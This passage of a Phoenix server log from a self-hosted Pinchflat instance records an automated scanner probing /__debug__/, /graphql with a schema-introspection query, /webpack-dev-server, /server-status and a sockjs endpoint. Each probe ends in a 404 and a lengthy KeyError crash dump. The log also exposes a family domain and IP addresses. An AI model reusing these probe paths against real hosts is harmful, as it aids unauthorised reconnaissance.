10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__debug__/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgnh27H-lBdMABcXC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37392}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37392}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21684.0>, params: %{}, path_info: ["__debug__"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__debug__/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgnh27H-lBdMABcXC"} ], scheme: :http, script_name: [], (truncated) 15:40:38.914 [info] GET /graphql 15:40:38.914 [debug] QUERY OK source="settings" db=0.1ms idle=171.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.914 [debug] QUERY OK source="settings" db=0.0ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.914 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.914 [error] #PID<0.21686.0> running PinchflatWeb.Endpoint (connection #PID<0.21685.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /graphql?query={__schema{types{name,fields{name}}}} ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21686.0>, params: %{"query" => "{__schema{types{name,fields{name}}}}"}, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"query" => "{__schema{types{name,fields{name}}}}"}, query_string: "query={__schema{types{name,fields{name}}}}", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"content-type", "application/json"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgnwRghFaEBcACMxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37400}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21686.0>, params: %{"query" => "{__schema{types{name,fields{name}}}}"}, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"query" => "{__schema{types{name,fields{name}}}}"}, query_string: "query={__schema{types{name,fields{name}}}}", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"content-type", "application (truncated) 15:40:38.968 [info] GET /webpack-dev-server 15:40:38.968 [debug] QUERY OK source="settings" db=0.1ms idle=166.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.968 [debug] QUERY OK source="settings" db=0.0ms idle=114.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.968 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.969 [error] #PID<0.21688.0> running PinchflatWeb.Endpoint (connection #PID<0.21687.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /webpack-dev-server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webpack-dev-server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37414}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21688.0>, params: %{}, path_info: ["webpack-dev-server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/webpack-dev-server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgn9LsJlRLGMACMxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37414}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webpack-dev-server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-dev-server", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37414}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21688.0>, params: %{}, path_info: ["webpack-dev-server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/webpack-dev-server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgn (truncated) 15:40:39.026 [info] GET /server-status 15:40:39.026 [debug] QUERY OK source="settings" db=0.1ms idle=172.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.027 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.027 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.027 [error] #PID<0.21690.0> running PinchflatWeb.Endpoint (connection #PID<0.21689.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21690.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgoLGTzh3b_4ACMyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37428}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21690.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgoLGTzh3b_4ACMyB"} ], scheme: :h (truncated) 15:40:39.080 [info] GET /__webpack_dev_server__/sockjs-node/info 15:40:39.080 [debug] QUERY OK source="settings" db=0.0ms idle=112.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.081 [debug] QUERY OK source="settings" db=0.0ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:39.081 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:39.081 [error] #PID<0.21692.0> running PinchflatWeb.Endpoint (connection #PID<0.21691.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__webpack_dev_server__/sockjs-node/info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__webpack_dev_server__/sockjs-node/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__webpack_dev_server__/sockjs-node/info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37444}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21692.0>, params: %{}, path_info: ["__webpack_dev_server__", "sockjs-node", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, 